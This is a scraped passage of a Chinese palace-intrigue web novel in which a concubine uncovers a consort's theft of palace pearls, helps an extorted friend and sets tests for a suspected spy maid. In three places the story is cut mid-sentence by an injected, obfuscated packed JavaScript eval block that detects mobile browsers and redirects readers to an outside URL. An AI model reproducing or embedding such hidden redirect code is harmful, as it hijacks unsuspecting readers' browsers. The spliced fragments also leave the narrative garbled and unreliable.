“贺医正,有没有什么强身健体、增壮筋骨的方子?最好是日常食补的那种。” 流萤虽知运动才是良方,但她现在的腿脚也只能静养。便趁贺九仪收拾药箱的间隙,真诚发问。 经历上次宝珠撒泼做的那场戏后,流萤发现贺九仪再来看诊得时候,反而会比从前更认真、更细致。流萤对此不算意外,但绝对是超出满意。 其实那场戏,一开始着实把贺九仪吓了一跳。 贺九仪不明白前脚还跟自己客客气气的小丫头,怎么一送他出了宫门就扯嗓子骂起自己来呢? 直到又过两日,宝珠再去太医署请人给流萤看诊时、他才有所领悟。 “怎么又是他呀,就没旁的太医能给主子瞧病吗?每次都挂着脸,跟谁欠他似的,而且我看他医术也没好到哪儿去,都吃多少副药了,主子的腿怎么到现在还没好利索呢!?” 宝珠一进门就咄咄逼人,拔尖厉害的样子叫满堂太医都看了个清清楚楚。 接待宝珠的是孙医监,比医正高一级别,正负责给贵人指派看诊的事儿。 孙医监看宝珠虽然嚣张,但也终归只说了贺九仪一人、并未提及太医署哪里不对。便也不好拿身份压她,毕竟她身后的那位主子也算是得过皇帝青睐,说不准未来有何造化,他自没必要现在就找不痛快,便还算客气地解释一二。 “宝珠姑娘净说笑,贺医正的医术大家有目共睹,他开的方子我也看过,并无错处,腿疾本就急不得,还请多些耐心才是。而且此前也都是贺医正给才人瞧病的,他定比旁人更了解一些。” 宝珠却如听了耳旁风,依旧和孙医监争执,偏要自己再选一个。 眼见她径直走了进来,几个原本还看热闹的太医纷纷低下头去、不知所谓地忙碌起来,很怕自己被挑中。 宝珠溜了一圈,实在没法子,这才不情不愿地重新领着贺九仪走了。 待离太医署远了,宝珠回头望确定没人跟来,才大舒口气。旋即使劲儿地作揖赔笑,跟贺九仪说了好些遍抱歉。 宝珠道,“主子说了,唯有这样,她以后大病小灾的才能都由您来医治。别人来,主子不放心。但若次次点名找你,又怕给你添麻烦。” 贺九仪没想到流萤的心思如此细腻,之前的那些羞恼和不解,也在流萤当面又亲自解释一遍后全然消失。 而且他本就没有记恨流萤,反而是回去后有所悔思。悔思自己是否真的医术不精、耽误了她的腿伤…… “其实才人并非身虚体弱者,这两次均是受了外部侵害才有所损伤。依微臣观您脉象弦滑有力,实乃肾精充足、气血充盈、体质旺盛之象。” 流萤小嘴上下碰碰,默念两遍贺九仪的点评后,抬眸不假思索就问。 “那我是易孕体质吗?” 14. 暗度陈仓 宝珠在旁听得瞪大了双眼,瞥一眼贺九仪,素净面容上也是悄咪咪爬出一丝火红来。 主子也真是的,姑娘家家的怎么什么都敢说,就算再不晦疾避医,有些羞人的话也应当由她这个当奴才的来问啊。好在贺九仪微垂眼帘,很快便恢复了医者一视同仁的态度。 “肾者,先天之本,藏精而不泻,为生育之源。女子若肾精充沛,便显气血旺盛。若月信如期,则胚胎得以滋养,犹如沃土之宜播种,自当为易孕之体质。” 流萤琢磨着贺九仪的话,不禁回忆起早年在积元寺时,她确实比同屋其他女孩的月事来得都更准一些。即使大家都是冬日也在冷水里泡着洗衣服,偏自己每次来潮却不似她们那般疼痛难忍。 还以为是从小过惯了苦日子皮实,不想竟是她天生就拥有一个好身体。 只是……她能要孩子吗? 皇嗣,无疑是助力上位的好帮手,可日后若要带着孩子出宫,简直难上加难。 贺九仪一直低着头,他看不见流萤面色的复杂,只知道自己心里已是五味杂陈。 他自幼学医,不敢自诩妙手回春,各类常见脉象却还是能一摸便知的。 流萤分明还是完璧之身。 他第一次发现时着实吓了一跳,怀疑自己摸错了,可连续几次皆是如此,他也不得不相信这个惊人的事实。 贺九仪在太医署任职三年,总听同僚给贵人看诊回来后会小范围八卦一二,最多的便是哪个宫的谁又偷偷求助孕方子了。 可他们也无能为力,实在是皇帝播种太少。 但请过皇帝脉的又都表示皇帝龙体无碍,是以求子一事,完全就是看各人造化。 以前,他从不觉得这些女人可怜,每次外出看诊,只保证经自己手的药到病除便已足够。可如今面对颇有憧憬的流萤,贺九仪突然觉得有人朝他胸上结结实实打了一拳,沉沉的,闷闷的。 是有苦说不出的感觉。 没错,他的确想帮流萤,而且是发自内心地想帮。 并非那枚翠玉扳指送到了他的心里,而是流萤像极了他意外消逝多年的妹妹! 相似的样貌、相同的姓氏,如果不是冥冥中注定,他实在难再找到别的解释…… 待收拾好东西,小金子照例送走了贺九仪,再回来时,小金子则直接挑帘进了内室,边汇报着琐事边悄悄冲外面挤眼睛。流萤看出了他的意思,扬声喊了两遍春桃,示意进来。 “可识字儿?”流萤问道。 春桃来银汉宫许久,都是宝珠吩咐她干活儿,流萤从未直接跟她对过话。这样冷不防被叫进屋里,春桃明显有些紧张,怯怯摇了摇头。 “无妨,以后赶上了就教你认几个。”流萤指了指桌上的油纸包,继续说道。 “方才贺医正给我带了药材来,他说我这受了凉的膝盖还得喝上一阵子汤药。等会儿让宝珠告诉你怎么煎,以后这事就交给你了。” 宫里比不得别处,凡是入口的东西,都只有主子贴身伺候的人才能碰。 春桃也知这个理儿,自是受宠若惊,懵懵懂懂任由宝珠挎着胳膊领了出去。 随着梨花木门吱呀关上,小金子方跟流萤汇报起近两日查探到的事情。 “主子您瞧。那日为了吓唬春桃,奴才打翻了许多东西,等过后收拾时竟发现了这个。” 小金子说着竟从袖中掏出一颗东珠来!流萤颇感诧异,但并未打断,只继续听他怎么说。 “奴才刚来银汉宫的时候也见过这样大小的珍珠,足有一斛,就在您所居的熠光殿里。可再过不久清点的时候,那些珍珠竟都不翼而飞,只剩下一个空空如也的木斛。” “宫里当时只有奴才和彩秀二人,奴才不会做贼喊做贼的事,那些珍珠的消失定然跟彩秀有关。只是奴才向来不爱吱声,也无人可诉,便一直当做什么也不知道。而且银汉宫闲置多年如同废宫,即便到了年底盘查之时,内侍监也只是假模假样走个过场,记录数据十年不变。奴才更没理由多事。” “可时隔三年再见这珍珠,竟又是在彩秀做过手脚的地方,奴才觉得实在颇为蹊跷,便拿过来交给主子定夺。” 口齿伶俐、思维清晰,小金子的转变让流萤大为吃惊。甚至有些后怕,担心自己是不是眼拙,竟放了一头隐狼在身边? 但凡事都讲个顺序,眼下最先要解决的还是春桃。 “你做得很好。” 流萤暂且隐下心头的怀疑,就事论事道,“春桃这两日颇为恍惚,眼下乌青显而易见,过几日你再吓她一吓,最好让她卧床缓上两日才能起。让外头的人都看看,敢来银汉宫就得付出什么样的代价。” “如今的银汉宫已是明里暗里有人盯着,若有人跟你打听什么,最好保持一贯的缄默不语,少言少错。但若是跟你有些交情的……” 流萤说到此处略有停顿,等着听小金子的态度。 “主子放心。沉默是金,主子赐名,奴才永远铭记在心。”小金子认真回着话,半躬的身子掩盖不了语气里的坚定。 “再说奴才进宫快五年,只第一年在文禧宫和泰然宫各当过一个月的看门太监。当时的宫里住的都是先帝的婕妤,奴才根本凑不到跟前儿。跟宫里的小弟兄也是还不等熟络就被调走了,而后便一直在这银汉宫里清清扫扫,自己消化。” 小金子果然是个脑子转得快的,知道自己真正在问的是什么。 且看他日后忠不忠心吧,忠心最好,定是个得力帮手。若不忠,这肥水就绝不能流进外人田。 遣走了小金子,流萤才将这颗东珠与之前的放一起作比,皆是圆润泛着蓝光的外皮,应该是同一种类。 流萤脑海里突然闪过一个猜测,那夜宝珠踩到的会不会就是彩秀不小心掉落的?! 记得宝珠说过,彩秀原在庆祥宫当值时攒下了不少赏赐,足够她打点内侍监换个好去处。 但她不肯走…… 不仅是贪图在此可以偷懒耍滑,更是贪图这里的奇珍异宝,妄想占为己有? 所以她才守着银汉宫,守着东珠,盼望待到年满离宫之际再一并带走?! 越想越觉没错。贪财的心思,可没人比流萤更懂。 如果真是这样,那整整一斛不翼而飞的东珠就极有可能还在宫中! 心跳快如蜂鸟振翅,扑扑煽着流萤胸膛,似要亲自飞出来看看是怎么一回事。直到宝珠叩了门进来,心头鸟才万般留恋回身。 宝珠知道春桃此刻离不开药炉,便松了几分防备,亦如春桃没来之前的样子,边往里走边利索说着。 “主子,我瞧春桃确实不像是识字的,我方才照您说的故意拿颠倒了的药方给她逐字念,她都没觉出任何不妥。” 前几日清早,宝珠起来打水,意外看见春桃蹑手蹑脚从书房出来。虽说手上拿着扫帚,但那紧张神情一看就不是光进去扫地的。便悄悄通禀了流萤。 书房,通信。这是流萤第一个想到的联系。 既然认定了春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339260|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃是有心人塞进来的细作,她的一举一动就都得往坏处想。 所以流萤便想出了这个一石二鸟的试探法子。并在下一次贺九仪来看诊时,请求他多开了几副药材简单、日常安神的药。 除了让宝珠拿倒药方,试探春桃是否识字。此法更是给她制造机会,看她有没有胆子敢在药里动手脚,又动的什么手脚,他们也好提早有个防范…… 流萤听了宝珠进屋的回话,稍稍点头再作叮嘱,“那也不能掉以轻心,没人会派个傻子出来做事。”手上却是没停下摆弄东珠的动作。 待宝珠走近了看清她在干嘛,立即惊奇问道,“怎又多了一个?这匣子难道还会生蛋不成?” 流萤没想到在自己身边待久了,宝珠竟也跟着爱冒出一些语不惊人死不休的词儿。戳她一指头,嗔也不学点好的。 之前从闻寻处得来两颗东珠的事儿没有瞒她,这次,流萤也是痛快将小金子的话讲了一遍给宝珠听。 其实论起宝珠和小金子二人,流萤本就是对心直嘴快的宝珠能稍少些戒备。再赶上方才小金子那套缜密利落的说辞实在惹人心惊,有些话,她便更愿意先和宝珠问上一问。 “你曾说彩秀在庆祥宫当过值,这事儿是她自己告诉你的吗?” 宝珠眨眨眼,不知主子为何忽然提起这个,但仍是很肯定地点了点头。 “对啊。她一向看不上我和小金子,总说我俩和这银汉宫一样,都是没人要的。说到她自己,却又说是嫌之前在庆祥宫天天做活儿太多,才主动调来这儿的。” 这不可能。 任何一个正常的奴才,都不会因劳累就放弃好差事、继而选择一处废宫度日。尤其是他们这些,本就为着多过外头双倍月钱才进宫为奴的,就算是累死,也绝不可能主动换到没有主子打赏的地方。 彩秀一定不是主动要来的,但那目空胆大到敢装神弄鬼的架势,却也丝毫不像是能被人欺负撵走的…… 流萤手心向上握着东珠,手背突起的指节,一下下缓而稳地轻敲着桌面,和心跳同频。 默念彩秀的名字,脑海里不禁想起她曾信誓旦旦说过有个庇佑之人,那种危急关头里必不敢说假…… 流萤思量良久,一个极为大胆的设想,在心里春笋般破土而出。 彩秀会不会就是受了那庇佑之人指使,特才来的银汉宫? 可银汉宫有什么特别的呢? 一个废宫而已,除了……等等!他们不会就是为了这些平日无人在意、年底也无人彻查的宝贝吧?! 东珠沁凉的温感传入手心,非但没被流萤捂热,反而凉得她后脊也渐生寒意。 流萤闭上眼睛,把全部思绪倒回入宫那日,一帧帧重新看过,终于是想明白了整条脉络。甚至连带那件涂了松香粉的毒衣裳,也叫她一并找到了真正债主。 流萤想,那日拆穿并逼走了彩秀,彩秀情急只得寻了那庇佑之人求助。不想那人却怕事败,直接灭了彩秀的口。 又因自己破坏了他们的计划而心怀有很,可自己毕竟是刚入宫的妃嫔,谁也不能马上就结果了自己,便先伺机送来有毒的衣裳、出一口恶气。 心中春笋迅速冒尖,流萤乘胜追问,“那彩秀可说伺候过的是哪个主子吗?” 她的气势压人,只看那双琉璃眼眸,都能射出数道箭光。宝珠从未见过流萤这般利刃般模样,被压得大气不敢喘。 使劲儿把所有的记忆都调动起来后,才肯定答道,“是关充媛!” 15. 棋先一着 关采曼指使彩秀盗取银汉宫宝贝这件事,几乎是板上钉钉。流萤只还有两个不解,一是为什么,而是盗哪儿去? 关采曼是吏部侍郎之女,其自身也是实打实正二品的位份,怎么看都不是个缺钱的主儿。唯一勉强能解释得通的,便是宫里处处要打点,再加之她有意讨好阮家人必定要下血本,钱财这才不够挥霍。 但关采曼胆子再大,也不至于直接拿这一宫的东西打赏另一宫的人,万一遇上眼尖的岂不一下子就暴露了。所以销赃换钱必往宫外。 那她是如何越过道道把控严格的宫墙门?又有谁跑腿、谁在外接应呢? 沉沉的思绪并未因知晓了敌人的秘密而减轻多少,反而在流萤心头萦绕起片片乌云,久久不散。而且乌云路径奇异,只往她两条腿上飘。 虽是乌云,却很轻柔,甚至飘落到双腿上还覆有暖意。流萤下意识低头看的瞬间,恍惚好似看见了汪芷柔还在旁帮她按摩膝盖。 是了,这团乌云正是她。 再回想起白日去汪芷柔宫中的种种怪异表现,流萤越想心越惊。待到彻底想通了,流萤决定帮她一帮。又或者说,正好借她做这个由头,把自己的仇报了。 无论是那委实不好受的浑身生疹滋味,还是慈安宫一众人前冷嘲热讽狠狠推自己的那一下,关采曼跟她的梁子都是死死结下了。 流萤自小就睚眦必报,更何况还是坏她两次的,必要拔筋拆骨才解恨。 翌日,又是个碧空如洗的好天气。 宝珠早早将宫门打开,等着迎接日日前来、都快把银汉宫当作第二个家的汪芷柔。她其实还挺喜欢汪芷柔的,是从那盒芦荟膏就开始喜欢了的。 不过这次,宝珠却是得了令,冷冰冰对着汪芷柔主仆俩,一个字不多言。等领了进屋,流萤也同样没有好脸相待。 “之遥,可是我哪里做的错了?你今日怎……怎么如此看我。” 汪芷柔只敢小心翼翼地坐了圆凳的一半,双臂搭在桌上,说着话便想去够流萤的手,却被那双冷漠如冰的眼睛狠狠睨了回来。再一动不敢动。 只好低头绞帕子,她是真的不知道自己做了什么惹流萤不悦。 “关充媛、翠玉镯,你还要瞒我到什么时候。” 流萤见不得她那个怯懦的受气包样儿,便也没跟她弯弯绕绕,开门见山甩话过去。 阴沉语气里没有任何疑问,只有百分百的肯定和气怒。 心地单纯的人偏爱小玩意儿,这话从来就不曾有错。 回忆最早见到汪芷柔的时候,头上总是珠围翠绕,连腰间的香囊都要比旁人多挂一个。后来钗環减少、玉镯不见,连屋里摆设也不再似一般女儿闺房明艳多样。 不是被关采曼苛待走了好东西,还能有何? 再有中秋宫宴上,汪芷柔也是对关采曼表现出了不同寻常的恐惧。 当时流萤还以为是她没接住关采曼抛来的球,怕回去挨责骂。如今知道了盗卖宫物的勾当,便一下子想通,原是关采曼的毒手早在那时就已经伸向了汪芷柔,才使得她那般害怕。 哗啦一声响,骨瓷茶盏应声掉地摔个粉碎,滚烫的茶水在汪芷柔手上蜿蜒留下一道水痕,冉冉冒着热烟,可她却丝毫感觉不到疼。 “你……你怎么知道?我……” 汪芷柔的声音已带上哭腔,有秘密被揭露的心惊胆战,更有终于有人知道她日子艰难的苦涩心酸。 “昨日我便想与你说的,是香梅突然进来才……” 见自己果然没猜错、汪芷柔也卸下所有防备准备开口,流萤这才沉沉叹出一口气。缓和下眉眼,伸手握住了汪芷柔蜷缩在袖子里的颤抖小手,示意她只管放心说出来。 “刚搬进庆祥宫时,关充媛总是很严苛。等过了几日稍有和顺,结果却是换了刺儿挑,改要我孝敬她。我纵然不愿,但也不敢怠慢,只得取了家里带来的两只金钗送与她。” “原以为往后便能安生了,不想那两支金钗竟只是个开始。真金白银自不必说,就连我屋里的一台缠枝挂玉坠的松树摆件都叫她撬了去。” “入宫不过月余,她已快将我的全部身家都要走了。我不敢与你说,是怕你嫌惹祸上身。你虽然是个好人,但我也看得出,你是个……是个不喜麻烦的人,我害怕你因此不再理我,那我可真就一点盼头都没有了。” 汪芷柔本是呜呜咽咽,可死死攥着流萤的手,她竟渐渐感受到一股从来没有过的力量。似被日头照过的潺潺溪水,一路流淌进心里,温暖明亮。话语也坚定了不少。 “从前爹叫我进了宫就要提防所有人,宁愿独来独往,也不掏心掏肺。可人生漫漫,若终日伶仃,又能有几年好活?左我也没那个脑子,想提防谁就能提防住,倒不如信直觉一次。既认定了你是个好人,就相信你永远不会害我。” “之遥,也不用你帮我什么,钱财而已,大不了我再想办法管家里要点。只求你别觉得我是个累赘、别疏远我好吗?” 美人的泪,似清晨木槿花瓣上摇摇欲坠的露珠,透明而脆弱。 只要掉下来,一定会落到流萤心上。 汪芷柔真的没脑子吗? 她这话说得极其真诚、又极为漂亮,是万千言语里,流萤最怕听到的那种。 流萤的确自私,但深埋自私之下的软土里,却盘根生长着一棵与之最不相匹、名唤护短的小树。 就像飞舞闪烁的萤火虫,注定要守护栖身的清河,都是宿命天定。 曾经在积元寺,她也为小伙伴出过一次头,虽然换来皮开肉绽的鞭打和暗无天日的禁闭,但她一点没后悔。只恨胳膊太细,不能将那些恶人一一掐死。 也罢,就再心软一次。 “你不蠢,我确实是个不喜麻烦的人。” 流萤语气生冷,再配上一副拒人于千里之外的模样,汪芷柔岂会不明白是何意思。 纵然万般不舍,终归还是一点点松开了攥着流萤的手,就在马上要垂落到桌下的时候,那只手竟重新被捞起握紧。 “但我既问了,就一定会帮你。” 汪芷柔不敢相信自己的耳朵,对着那双恨铁不成钢的眼睛确定了好几遍,才敢抽动鼻尖,眼眶微热。她使劲儿噙着泪珠儿在眼眶中打转,一点不愿落下,生怕模糊了眼前这失而复得的奇迹。 委屈和失落,顷刻间烟消云散。汪芷柔起身,狠狠扑向流萤,结结实实给了她一个大大拥抱。比从前在家跟娘亲撒娇时,抱得还紧。 流萤好不容易才扒开身上两个章鱼一般粘人的胳膊,仔细叮嘱汪芷柔从这出去后定要一如往常。 “关采曼要什么,你还是就给什么。跟她哭哭穷可以,切不可带什么底气。不能叫她察觉出异常。揭露还需从长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339261|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计议。你我都不是什么有身份的人,就算证据确凿,也难将其一击毙命。待我寻到机会,自会与你商议。” 见汪芷柔定定点了头应承下来,流萤才美目一动,转而问起,“方才说你可以再跟家里要点儿钱财,这话是什么意思?” 她难道也可以互通皇宫内外? 那岂不是…… 汪芷柔闻言下意识捂上嘴,眼神四下飘动。犹豫了半天,终是松叹一口气,决心准备为自己的大意买单。 “你从外地来,不知这皇城宫其实也并非完全的密不透风。” 她压低了声,咬起流萤的耳朵。 “你知我爹爹是京兆府尹,他在任多年,一直与都内许多官员交好。上到中书门下、下至内侍宦官,凡安家在长安的,都愿给爹爹几分薄面。” 此事流萤也知。京兆府尹可是领管都城大小事的三品大员,治理辖区稳定、管理民事民生。住在长安的高官,哪个不是门丁兴旺,他们可以自凭本事在朝上意气风发,家中老少却仍得靠“父母官”多加照拂才好顺心每一天。 是以,若依靠她爹汪正隆的人脉打点关系,从宫外运送些钱财给她,的确不是什么难事。 汪芷柔的话让流萤有些心动。 “那你可试过?”流萤问得认真。 流萤也有东西想要互通宫外。若能确保这条线万无一失,倒不失为一个好办法。奈何汪芷柔却摇摇头,说她不敢。 “难道你还不信汪伯父吗?”流萤拍了拍她的肩头劝慰道,“他既与你说了,就定能保证此法的安全。” 流萤还想说,全天下的父亲都不会把女儿往火坑推。可话到嘴边,她却觉得喉咙发紧,像糊了浆糊,怎么也说不出口。 脑海里也跟着闪起黑影,使劲晃了好几下,才将黑影晃走。 汪芷柔没注意到她的动作,依旧兀自斟酌着。她自是相信爹爹的。她所谓的不敢,也是怕万一事败,牵连家人。 但如今有机智聪慧的流萤跟自己一条心,汪芷柔心里的担忧实属已减了大半。而且信人就要信到底,索性心一横,一五一十与流萤讲了起来。 原来汪正隆给女儿寻的是宫中食材采买这条线。 这条线上主要有两个可靠之人,一是亲自运送宫廷膳食的光禄寺丞顾大人,二是负责接收和检验膳食的尚食局陈食官。 宫中主子要求吃食新鲜,是以每日丑时前,宫人就需将整日所需都采备好。 主子入口的东西自是检查严格,但一旦过检进了皇宫,就不会再有人去寻麻烦。谁都担心万一就因自己多伸手碰那一下、或者打开多看那一眼再生岔头,反而引火上身。 流萤微不可见点了点头,心道这确实是条既及时、又靠谱的路线。 “顾大人的嫡亲姐姐曾与我娘是手帕交,后嫁去了扬州。有一年爹爹公干路过扬州,特代娘去探望姨母,发觉其长子天资聪颖,不忍埋没,便征得同意将其带回了长安。并以爹爹义子的身份入学国子监三年,年初才回扬州准备参加今年乡试。” 汪芷柔跟流萤细细解释起光禄寺丞顾大人为何可靠。 “当时顾大人还未考取到功名,老顾大人又早已辞官多年,因此能送崔阿兄进国子监求学的这份恩情,顾家一直都记着。” “崔阿兄?”流萤听出汪芷柔言语中的亲切,故意讨嫌地挑眉一问。 16. 主仆密谋 汪芷柔温声讲着过往,冷不防被流萤这么一打岔,一时间还没反应过来。待看懂了她眼里的坏笑,才腾地涨红脸,又羞又怕。 “哎呀,不是你想的那样,快别胡说,我都做了皇上的妃子了。” “哦?我说什么了?” 怪不得不见她嫉妒,合是心思去过别处。 瞧汪芷柔确实怕了,盈盈泪花又要往下掉。流萤这才止了口,转而提醒她的阿兄只能姓汪,切莫再叫错。又问起那个陈食官。 “其实陈食官的俸禄也不算低,奈何家中母亲身体不好,需常年用参汤下药,近两年已是有些拮据。” “幸而他娘子针绣手艺好,还能卖些绣品补贴家用。我娘凑巧买过一块很是喜欢,便时常光顾,后来得知了他家的情况,就将府中裁布制衣的活计都优先给了她,并且高出市价双倍。陈家自然也念咱们的好。” 一家是子孙提携之恩,一家是渡其难关之情。 这两人确实都欠汪家的。 从前在积元寺总听善因结善果,流萤却只道那群虚伪的人说不出什么真诚的话。可如今看汪芷柔一家,有了行好事的爹娘、才有享好福的女儿。她倒能体会出那句话的几分真意了。 羡慕吗? 或许吧。 但那也是下辈子的事儿了。 “回去以后,你要多多留意关采曼屋里的动静。尤其是她身边的奴才,别觉得瞧谁不起。往往越是那样的,越好干贼摸摸的事儿。”流萤抽回思绪,事无巨细与汪芷柔交代。 “她不敢把贤妃赏你的镯子再拿给别人,必定也同你一样有法子联系宫外、换成真金白银。只要咱们能将其脉门抓住,情急行错,她自会露出破绽。” 流萤判定此事应该是到关采曼就到头了。 如果背后还有贤妃克扣大头的话,贤妃绝对不会允许关采曼收缴自己赏下去的东西。 万一真有胆子大的告到她面前来怎么办?她一向协理六宫有度,必不会在这种事情上给自己下套。 见汪芷柔全都点头记下,流萤才安排给她另一件不必等待的事情去办。 自然也不是什么要紧的,第一次总要先试试手。谁让她看起来傻里傻气的,流萤虽不怀疑她的诚心,但她的实力却是有待商榷。 送汪芷柔离开,流萤第一次送到了宫门外。 望着渐渐消失于甬道的湖蓝色身影,流萤心里也慢慢升起一抹早在十年前就死掉的希望。只是那希望如今依旧缥缈,如纱似烟。虚浮在其后的,还有另一道男子身影。 正是陇西郡王闻景的影子。 倒也不是多想念,而是时隔一月,终叫她找到可以主动联系上闻景的法子了。 她说过,不会再坐以待毙。 常言道,日有所思夜有所梦,夜里流萤果真就梦到了闻景。 梦里西北烈日晃眼,直射进赤褐连绵的沙丘,隆起层层热浪。他却一袭青衫,挺立在苍凉边缘,恰如一块未经雕琢的碧玉,映出温润光泽,在风沙粗砺中显得尤为珍贵。 闻景总是那样翩翩,唇带一分笑意,眼含三分柔情,能把每一个见过他的女子的心都融化。独独除却流萤。 因为她常伴闻景身边,真真切切看到了他背过人去的六分里,尽是算计与阴谋。 流萤十四岁被领回王府,十五岁听闻景说心里有她、许诺侧妃之位,可十六岁她依旧头也不回入了宫。而闻寻也没再阻拦…… 虽未到深秋,萧肃的秋意却已薄薄笼罩在天地间。晨雾如纱,带着落叶飘零的哀愁,同褪色的锦缎,淡淡铺在朦胧天边。 没了汪芷柔日日凑来,流萤睁眼便是清静。望天色发凉,再就着梦里的沉闷,流萤突然想学丹青妙手那般,也拿起笔洋洋洒洒、肆意抒发开来。 她没上过学堂。全部受教课程都塞在入宫前的短短几月里满满当当,奈何要学的实在太多,画画这种无关痛痒的技艺,根本排不上。 是以,她倾心倾力绘制出心中最美好的景愿,在宝珠看来不过是幅小鸡啄米图。 “鸡虽长了翅膀,却也飞不了那么高。主子该往下画点才是。” “那是萤火虫!”流萤翻了个大大的白眼,用力指着画纸,示意宝珠好好看清楚,“你家鸡有六条腿呀?” 宝珠凑近了看,还是止不住笑,“那倒不是,但奴婢以为主子只吃过鸡肉,没见过鸡跑呢。” 气得流萤抬手就戳了她一指头,随后扬声招呼外头的小金子赶快进来,叫他明日便把画裱起来挂到正厅墙上去。又像是也要故意气气宝珠,收拾妥当后,流萤偏就带着小金子出门了。 宫里的红墙一面比一面高,恨不得砌到天上去。 可墙再高,也抵不住秋风乍起带来的阵阵凉意,毫不见外就往人脸上扑。好在流萤早已习惯陇西的干烈冷风,那风刮在脸上才真真有撕裂的痛楚。 兀自理了理吹偏的碎发,低声问道,“叫春桃改去收拾库房后,她可有什么新动作?” 对付春桃,流萤最初的想法是静观其变、伺机而动。 但前几日试探春桃煎药剩下的药渣给贺九仪看过,结果却是除了他开的药材外,并无他物。而且宝珠自那日见春桃偷摸去过书房后,也再没碰上。 流萤原本觉得是春桃藏得太深,直到后来知晓了关采曼的事情,才不由得联想自己是不是一开始就猜错了? 那时正赶上太后罚跪一事,她便先入为主地将春桃视为贤妃派来监视自己的细作。可若不是贤妃呢?又或是贤妃将此事交代给了关采曼呢? 那岂不等于是关采曼亲自挑了人送来。 她之前送来彩秀,为的是盗取银汉宫宝贝。如今送来春桃,不也得有同样的企图吗?这可是一条得天独厚的财路。 再加她亲眼见到了太后磋磨自己,必定认定自己以后也翻不出什么水花,那么银汉宫也就还是那个鲜有人注意的鬼屋。是以关采曼更加不会放弃这条财路。 所以扭转回思绪后,流萤当即就改了策略,转叫小金子安排给春桃收拾库房、将入冬的物件翻找出来的活计儿。 自然,也同小金子讲了关采曼的事儿。 流萤怕小金子是头隐狼,必须在铺网前探清小金子的底,才能确保真正行计划时万无一失。此事就是一个绝好机会。 小金子紧跟上流萤脚步,平稳答道。 “春桃收拾库房很麻利,比扫院子麻利,还总想支走奴才一时片刻,确是有些问题。但一直没见她真的拿走什么,奴才怕她再往别处动心思反倒不好盯,便自作主张将里头的东西悄悄换了换位置。” 流萤打寸踩到一粒小石子,心也跟着咯噔一下。小金子入宫五年,难道还不知当奴才的最忌比主子多生心思吗?不动声色踢走小石子,听他继续说下去。 “奴才猜想,春桃可能是觉得那些物件过大不好下手,便将一个嵌了翡翠扣的桌面玉净瓶换到了库房最里侧架子的底层。无论大小、位置,都是恰到好处。她若再不下手,就只能是藏了别的心思、不在这些宝贝上。” 这确实是个伶俐的法子。换作流萤自己,也会主动出击制造机会。 其实说心里话,除却防备,流萤对小金子一直是赞赏更多。 从第一眼照面,流萤就看出他的眼睛里,有一种不属于整日只会卑躬屈膝的奴才的淡定沉着。当时猜想,应该就是这份性情才使得他跟旁人格格不入,被排挤来了银汉宫。 但也恰恰如此,更加证明了小金子是个耐得住性子、不会轻易为俗物所动之人。而这样的人,一旦认定了什么,自然也会比旁人多几分毅力、多几分可靠。 所以流萤才走了温情恤下的攻心路线。 让他和宝珠少干活、多休息,还将自己份例的吃食也分给二人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339262|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这份暖心无论放在哪一宫都是独一份的,没哪个奴才能抗拒得了。 事实也证明,她的计谋成功了。宝珠死心塌地,小金子也遵命是从。 可小金子沉默面具下的缜密心思,却远超流萤预期。她原只想要颗忠心,并没奢望七窍玲珑。 好用的刀必然快,但太快了,也怕伤到手。 这也是流萤一再戒备小金子的原因。瞥他一脸坦然,流萤真心希望这份惊喜,不会哪天突然变成惊吓。遂轻声赞他一句机灵,继续问道,“然后她就拿走了吗?” 小金子利索点头,“对,就在昨日。奴才是今早发现的,原想着等送午膳时再跟您汇报,偏巧您先带我出来了。” 今日初十,是嫔妃们该到贤妃宫中相聚的日子。流萤特叫上小金子陪同,不止是想问春桃的事儿,也为着等结束了从承德宫出来好往藏经阁去。 他在宫中里的时日毕竟比宝珠长,万一碰上什么没见过的人,兴许还能提醒着点自己。而且小金子确实嘴严又机灵,比宝珠更适合带去新地方探路。 流萤略有思量,嘱咐小金子这两日夜里要辛苦睡得浅些。春桃既得了手,必定要想办法拿给关采曼。 “暂不必抓她人赃并获,只需知道她是如何与人接洽,碰头的又是谁。另外,今晚你得换个新鲜的闹鬼把戏再吓春桃一回。我怀疑她上次害怕极有可能是装的。” 彩秀的死应在关采曼计划外。准确的说,银汉宫竟能搬进新主子,这事儿才在她的计划外。 所以换送春桃来完全是赶鸭子上架。为保证不出纰漏,关采曼必然要将之前的种种全部告知。包括彩秀的一些唬人把戏,想必春桃也该有所知晓。 